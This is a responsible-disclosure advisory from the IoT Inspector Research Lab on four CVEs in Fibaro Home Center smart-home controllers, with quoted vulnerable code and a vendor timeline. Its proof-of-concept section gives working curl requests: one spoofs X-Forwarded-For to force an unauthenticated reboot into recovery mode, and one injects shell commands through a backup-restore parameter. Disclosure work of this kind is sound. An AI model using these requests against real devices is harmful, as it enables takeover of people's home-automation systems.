IoT Inspector Research Lab Advisory IOT-20210408-0
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title: Multiple vulnerabilities
vendor/product: Fibaro Home Center Light / Fibaro Home Center 2
https://www.fibaro.com/
vulnerable version: 4.600 and older
fixed version: 4.610
CVE number: CVE-2021-20989, CVE-2021-20990, CVE-2021-20991,
CVE-2021-20992
impact: 8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 (critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.2 (high) CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
reported: 2020-11-18
publication: 2021-04-08
by: Marton Illes, IoT Inspector Research Lab
https://www.iot-inspector.com/
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Vendor description:
-------------------
"FIBARO is a global brand based on the Internet of Things technology. It
provides solutions for building and home automation. FIBARO's headquarters
and factory are located in Wysogotowo, 3 miles away from Poznan. The company
employs app. 250 employees."
https://www.fibaro.com/en/about-us/
Vulnerability overview/description:
-----------------------------------
1) Cloud SSH Connection Man-in-the-Middle Attack (CVE-2021-20989)
Home Center devices initiate SSH connections to the Fibaro cloud to provide
remote access and remote support capabilities. This connection can be
intercepted using a man-in-the-middle attack and a device initiated remote
port-forward channel can be used to connect to the web management interface.
IoT Inspector identified a disabled SSH host key check, which enables
man-in-the-middle attacks.
By initiating connections to the Fibaro cloud an attacker can eavesdrop on
communication between the user and the device. As communication inside the
SSH port-forward is not encrypted (see #4 on management interface), user
sessions, tokens and passwords can be hijacked.
2) Unauthenticated access to shutdown, reboot and reboot to recovery mode
(CVE-2021-20990)
An internal management service is accessible on port 8000 and some API
endpoints could be accessed without authentication to trigger a shutdown, a
reboot, or a reboot into recovery mode. In recovery mode, an attacker can
upload firmware without authentication. (Potentially an earlier version with
known remote command execution vulnerability, see #3)
3) Authenticated remote command execution (versions before 4.550)
(CVE-2021-20991)
An authenticated user can run commands as root user using a command
injection
vulnerability.
Similar problems were also discovered by Pavel Cheremushkin from Kaspersky
ICS Cert: https://securelist.com/fibaro-smart-home/91416/
4) Unencrypted management interface (CVE-2021-20992)
Home Center devices provide a web based management interface over
unencrypted
HTTP protocol. Communication between the user and the device can be
eavesdropped to hijack sessions, tokens, and passwords. The management
interface is only available over HTTP on the local network. The vendor
recommends using the cloud-based management interface, which is accessible
over
HTTPS and requests are forwarded via an encrypted SSH connection between the
Fibaro cloud and the device.
Proof of concept:
-----------------
1) Cloud SSH Connection Man-in-the-Middle Attack
Home Center devices initiate a SSH connection to the Fibaro cloud
./etc/init.d/fibaro/RemoteAccess
<snip>
DAEMON=/usr/bin/ssh
....
case "$1" in
start)
.....
# get IP
local
GET_IP_URL="https://dom.fibaro.com/get_ssh_ip.php?PK_AccessPoint=${HC2_Seria
l}&HW_Key=${HW_Key}"
local IP_Response; IP_Response=$(curl -f -s -S --retry 3
--connect-timeout 100 --max-time 100 "${GET_IP_URL}" | tr -d '
!"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~')
# get PORT
local
GET_PORT_URL="https://dom.fibaro.com/get_ssh_port.php?PK_AccessPoint=${HC2_S
erial}&HW_Key=${HW_Key}"
local PORT_Response; PORT_Response=$(curl -f -s -S --retry 3
--connect-timeout 100 --max-time 100 "${GET_PORT_URL}" | tr -d '
!"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~')
....
start-stop-daemon --start --background --pidfile "${PIDFILE}"
--make-pidfile --startas /usr/bin/screen \
-- -DmS ${NAME} ${DAEMON} -y -K 30 -i
/etc/dropbear/dropbear_rsa_host_key -R "${PORT_Response}":localhost:80
remote2@"${IP_Response}"
</snip>
The device uses dropbear ssh to initiate the connection; option -y disables
any
host-key checks, voiding much of the otherwise added transport-layer
security
by SSH: "Always accept hostkeys if they are unknown."
The above "get IP" endpoint returns the address of the Fibaro cloud, e.g.:
lb-1.eu.ra.fibaro.com
An attacker can use DNS spoofing or other means to intercept the connection.
By
using any hostkey, the attacker can successfully authenticate the SSH
connection. Once the connection is authenticated, the client initiates a
remote
port-forward:
-R "${PORT_Response}":localhost:80
This enables the attacker to access port 80 (management interface) of the
device.
A similar problem exists for remote support connections:
./opt/fibaro/scripts/remote-support.lua
<snip>
function handleResponse(response)
responseJson = json.decode(response.data)
print(json.encode(responseJson))
local autoSSHCommand = 'ssh -y -K 30 -i
/etc/dropbear/dropbear_rsa_host_key -R ' .. responseJson.private_ip.. ':'
.. responseJson.port .. ':localhost:22 remote2@' .. responseJson.ip
os.execute(autoSSHCommand)
end
function getSupportData()
remoteUrl='https://dom.fibaro.com/get_support_route.php?PK_AccessPoint='
.. serialNumber .. '&HW_Key=' .. HWKey
print(remoteUrl)
http = net.HTTPClient({timeout = 5000})
http:request(remoteUrl, {
options = {
method = 'GET'
},
success = function(response)
handleResponse(response)
end,
error = function(error)
print(error)
end
})
end
getSupportData()
</snip>
Here, the remote support endpoint returns the following data:
{"ip":"fwd-support.eu.ra.fibaro.com","port":"XXXXX","private_ip":"10.100.YYY
.ZZZ"}
The same dropbear ssh client is used with option -y. In this case, port 22
(ssh) is made accessible through the port-forward. However, the device only
allows public key authentication with a hard-coded SSH key. No further
testing
has been done on compromising the support SSH connection.
2) Unauthenticated access to shutdown, reboot and reboot to recovery mode
The device is running a nginx server, which forwards some requests to a
lighttpd server (8000) for further processing:
<snip>
proxy_set_header X-Forwarded-For
$proxy_add_x_forwarded_for;
location ~* \.php$ {
proxy_pass http://127.0.0.1:8000;
}
location ~* \.php\?.* {
proxy_pass http://127.0.0.1:8000;
}
</snip>
The lighttpd server is not only accessible locally, but also via the local
network.
Authentication and authorization is implemented in PHP and there is a
special
check for connections originating from within the host. However, when
checking
the remote IP address, the header X-Forwarded-For is also considered:
./var/www/authorize.php
<snip>
function isLocalRequest()
{
$ipAddress = "";
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
$ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
else
$ipAddress = $_SERVER['REMOTE_ADDR'];
$whitelist = array( '127.0.0.1', '::1' );
if(in_array($ipAddress, $whitelist))
return true;
return false;
}
</snip>
As the lighttpd service available via the network, an attacked can inject
the
required header X-Forwarded-For as well.
The check isLocalRequest is used to "secure" multiple endpoints:
./var/www/services/system/shutdown.php
<snip>
<?php
require_once("../../authorize.php");
if (!isLocalRequest() && !isAuthorized())
{
sendUnauthorized();
}
else
{
exec("systemShutdown");
}
?>
</snip>
./var/www/services/system/reboot.php
<snip>
function authorize()
{
return isAuthorized() || isAuthorizedFibaroAuth(array(role::USER,
role::INSTALLER));
}
function handlePOST($text)
{
if (!isLocalRequest() && !authorize())
{
sendUnauthorized();
return;
}
$params = tryDecodeJson($text);
if(!is_null($params) && isset($params->recovery) && $params->recovery
=== true)
exec("rebootToRecovery");
else
exec("systemReboot");
}
$requestBody = file_get_contents('php://input');
$requestMethod = $_SERVER['REQUEST_METHOD'];
if ($requestMethod == "POST")
handlePOST($requestBody);
else
setStatusMethodNotAllowed();
</snip>
An attacker can issue the the following HTTP request to reboot the device
into
recovery mode:
curl -H 'X-Forwarded-For: 127.0.0.1' -H 'Content-Type: application/json' -d
'{"recovery":true}' http://DEVICE:8000/services/system/reboot.php
In recovery mode, firmware images can be updated without authentication.
3) Authenticated remote command execution (versions before 4.550)
Backup & restore operations could be triggered though HTTP endpoints:
./var/www/services/system/backups.php
<snip>
function restoreBackup($params)
{
if (getNumberOfInstances('{screen} SCREEN -dmS RESTORE') > 0)
{
setStatusTooManyRequests();
return;
}
$type = $params->type;
$id = $params->id;
$version = $params->version;
if (is_null($id) || !is_numeric($id) || $id < 1 )
{
setStatusBadRequest();
return;
}
$hcVersion = exec("cat /mnt/hw_data/serial | cut -c1-3");
if ($type == "local" && $hcVersion == "HC2" || $type == "remote")
{
$version ?
exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '.
$id . ' ' . $version) :
exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '.
$id);
}
else
{
setStatusBadRequest();
return;
}
setStatusAccepted();
}
</snip>
The parameter $version is not sanitized or escaped, which allows an attacker
to
inject shell commands into the exec() call:
cat > /tmp/exploit <<- EOM
{"action": "restore", "params": {"type": "remote", "id": 1, "version": "1;
INJECTED COMMAND"}}
EOM
curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'content-type:
application/json' -d@/tmp/exploit http://DEVICE/services/system/backups.php
Version 4.550 and later have proper escaping:
<snip>
$version = escapeshellarg($params->version);
</snip>
4) Unencrypted management interface
NMMAP shows a few open ports on the box:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
Both 80/tcp and 8000/tcp can be accessed over unencrypted HTTP.
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Vulnerable / tested versions:
-----------------------------
Vulnerabilities 1, 2, 4 were confirmed on 4.600, which was the latest
version
at the time of the discovery
Vulnerabilities 1, 2, 3, 4 were confirmed on 4.540, 4.530
Solution:
---------
Upgrade to the version 4.610 or latest version, which fixes vulnerabilities
1,
2 and 3.
Vulnerability 4 is not fixed as the vendor assumes that the local network is
trusted and the device only provides wired network access. Furthermore, the
vendor recommends using the cloud-based management interface, which is
accessible over HTTPS and requests are forwarded via an encrypted SSH
connection between the Fibaro cloud and the device.
Advisory URL:
-------------
https://www.iot-inspector.com/blog/advisory-fibaro-home-center/
Vendor contact timeline:
------------------------
2020-11-18: Contacting Fibaro through [email protected],
[email protected], [email protected], [email protected]
2020-11-23: Contacting Fibaro on Facebook & LinkedIn, got response on
LinkedIn
2020-11-24: Adivsory sent to Fibaro by email
2020-12-01: Fibaro confirmed the receipt of the advisory
2021-02-02: Meeting with Fibaro to discuss the vulnerabilities and fixes
2021-03-16: Fibaro beta release (4.601) with the fixes
2021-03-24: Fibaro applies for CVE numbers
2021-03-31: Fibaro GA release (4.610) with the fix
2021-04-08: IoT Inspector Research Lab publishes advisory
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The IoT Inspector Research Lab is an integrated part of IoT Inspector.
IoT Inspector is a platform for automated security analysis and compliance
checks of IoT firmware. Our mission is to secure the Internet of Things. In
order to discover vulnerabilities and vulnerability patterns within IoT
devices
and to further enhance automated identification that allows for scalable
detection within IoT Inspector, we conduct excessive security research in
the
area of IoT.
Whenever the IoT Inspector Research Lab discovers vulnerabilities in IoT
firmware, we aim to responsibly disclose relevant information to the vendor
of the affected IoT device as well as the general public in a way that
minimizes potential harm and encourages further security analyses of IoT
systems.
You can find our responsible disclosure policy here:
https://www.iot-inspector.com/responsible-disclosure-policy/
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Interested in using IoT Inspector for your research or product?
Mail: research at iot-inspector dot com
Web: https://www.iot-inspector.com
Blog: https://www.iot-inspector.com/blog/
Twitter: https://twitter.com/iotinspector
EOF Marton Illes / @2021
